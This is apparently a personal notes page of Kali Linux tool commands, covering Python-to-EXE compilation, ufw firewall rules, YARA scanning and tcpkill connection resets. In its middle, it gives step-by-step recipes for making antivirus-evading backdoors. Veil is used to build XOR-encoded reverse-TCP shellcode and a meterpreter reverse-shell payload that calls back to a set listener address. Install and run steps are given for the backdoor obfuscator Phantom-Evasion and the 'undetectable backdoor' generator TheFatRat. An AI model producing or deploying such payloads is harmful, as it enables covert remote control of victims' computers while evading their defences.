Compiling Python files

Compiling PY to EXE:

1) Utilize PIP to install PYINSTALLER:
>pip install pyinstaller

2) After the installation above is done, leverage PYINSTALLER command to compile PY files into a single EXE file as shown below:
>pyinstaller -F test.py

3) The final EXE file should be under the %pythonPath%\dist folder.



Compiling PY to Byte Code (i.e. pyc):

1) Place all compiled PY files into a folder.

2) Utilize CMD to enter the folder and execute the command below:
>python -m compileall

Install and run Phantom-Evasion

Phantom-Evasion is a backdoor obfuscator.

1) Use Veil to generate a shellcode:
#veil
veil>:use 2
veil>:list payloads
veil>:use rev_tcp
veil>:set BadChars \x00\x0a
veil>:set Encoder xor
veil>:set LHOST 192.168.0.15
veil>:set LPORT 4444
veil>:generate
Copy the shellcode just being generated.

2) Install and run Phantom-Evasion:
#cd ~
#mkdir ./phantom-evasion
#cd phantom-evasion/
#git clone https://github.com/oddcod3/Phantom-Evasion.git
#cd Phantom-Evasion
#chmod a+x ./phantom-evasion.py
#./phantom-evasion.py

Setting up and executing Veil-Evasion

Veil-Evasion is also the backdoor generator helping generate undetectable backdoors.

Installation:
#apt-get update
#apt-get install veil-evasion
#veil

Execution:
#veil

Utilization:
Veil>: use 1
Veil/Evasion>: list
Veil/Evasion>: use 28
[python/meterpreter/rev_tcp>>]: set LHOST 192.168.0.150
[python/meterpreter/rev_tcp>>]: generate
[>] Please enter the base name for output files (default is payload): python_setupx86
[>] Please enter the number of your choice: 1

Setting up and executing TheFatRat

The Fat Rat is the backdoor generator helping generate undetectable backdoors.

Installation:
#cd ~
#mkdir ./fatrat
#cd fatrat
#git clone https://github.com/Screetsec/TheFatRat.git
#cd TheFatRat
#chmod +x setup.sh && ./setup.sh
#chmod a+x ./fatrat
#chmod a+x ./powerfull.sh

Execution:
#./fatrat

Configure ufw

/* Installation: */
# apt-get update
# apt-get install ufw gufw

/* Enable ufw */
# ufw enable

/* Disable ufw */
# ufw disable

/* Add rules */
# ufw allow from 192.168.0.251
# ufw deny 80/tcp

/* Delete rules */
# ufw delete allow from 192.168.0.251

/* Reload ufw */
# ufw reload

/* Delet rules and disable ufw */
# ufw reset

/* Check current status */
# ufw status verbose

/* Check ufw logs */
# tail -n 30 -f /var/log/messages

/* Start on boot */
# vi /etc/rc.local
/usr/sbin/ufw enable
/usr/sbin/ufw allow from 192.168.0.251
/usr/sbin/ufw deny 80/tcp
/usr/sbin/ufw allow 79:81/tcp
/usr/sbin/ufw deny in on eth0
/usr/sbin/ufw allow out on eth0
[ESC]:ZZ

Install and use YARA at Linux

/*Install Yara*/
#apt-get update
#apt-get install yara
#which yara
/usr/bin/yara



/*Download Yara Rules*/
#cd /usr/local/sbin
#mkdir ./yararules
#cd yararules
#git clone https://github.com/Yara-Rules/rules.git
#ll /usr/local/sbin/yararules/rules



/*Execute Yara*/
#yara --help
YARA 3.8.1, the pattern matching swiss army knife.
Usage: yara [OPTION]... [NAMESPACE:]RULES_FILE... FILE | DIR | PID

Mandatory arguments to long options are mandatory for short options too.

       --atom-quality-table=FILE        path to a file with the atom quality table
  -c,  --count                          print only number of matches
  -d,  --define=VAR=VALUE               define external variable
       --fail-on-warnings               fail on warnings
  -f,  --fast-scan                      fast matching mode
  -h,  --help                           show this help and exit
  -i,  --identifier=IDENTIFIER          print only rules named IDENTIFIER
  -l,  --max-rules=NUMBER               abort scanning after matching a NUMBER of rules
       --max-strings-per-rule=NUMBER    set maximum number of strings per rule (default=10000)
  -x,  --module-data=MODULE=FILE        pass FILE's content as extra data to MODULE
  -n,  --negate                         print only not satisfied rules (negate)
  -w,  --no-warnings                    disable warnings
  -m,  --print-meta                     print metadata
  -D,  --print-module-data              print module data
  -e,  --print-namespace                print rules' namespace
  -S,  --print-stats                    print rules' statistics
  -s,  --print-strings                  print matching strings
  -L,  --print-string-length            print length of matched strings
  -g,  --print-tags                     print tags
  -r,  --recursive                      recursively search directories
  -k,  --stack-size=SLOTS               set maximum stack size (default=16384)
  -t,  --tag=TAG                        print only rules tagged as TAG
  -p,  --threads=NUMBER                 use the specified NUMBER of threads to scan a directory
  -a,  --timeout=SECONDS                abort scanning after the given number of SECONDS
  -v,  --version                        show version information

Send bug reports and suggestions to: vmalvarez@virustotal.com.
#yara -r -w -f -p 10 /usr/local/sbin/yararules/rules/index.yar /root 2>/dev/null
network_smtp_raw /root/test.pcap
Big_Numbers1 /root/test.pcap
sniff_lan /root/.config/wireshark/recent_common
with_sqlite /root/.local/share/evolution/addressbook/system/contacts.db
with_sqlite /root/.config/honeyd/names
Big_Numbers1 /root/md5_arpd.txt
vmdetect /root/.cache/gstreamer-1.0/registry.x86_64.bin
SurtrStrings /root/.cache/gstreamer-1.0/registry.x86_64.bin
Surtr /root/.cache/gstreamer-1.0/registry.x86_64.bin
with_sqlite /root/.cache/tracker/meta.db-wal

Using TCPKILL to send RST to cut off TCP connectivities

In Kali Linux, the tcpkill application is located at /usr/sbin/tcpkill.

Usage:
/usr/sbin/tcpkill -i NETWORK_INTERFACE -DEGREE TCPDUMP_FILTER_EXPRESSION
Example:
/usr/sbin/tcpkill -i eth0 -9 host 192.168.0.2 and host 192.168.3.10

NETWORK_INTERFACE is the network interface going to send out RST segments.
DEGREE is a number representing the rate of sending RST segments. The range of the number is from 1 to 9. The higher number, the faster rate. The filter expression of TCPDUMP can refer to the manual of TCPDUMP.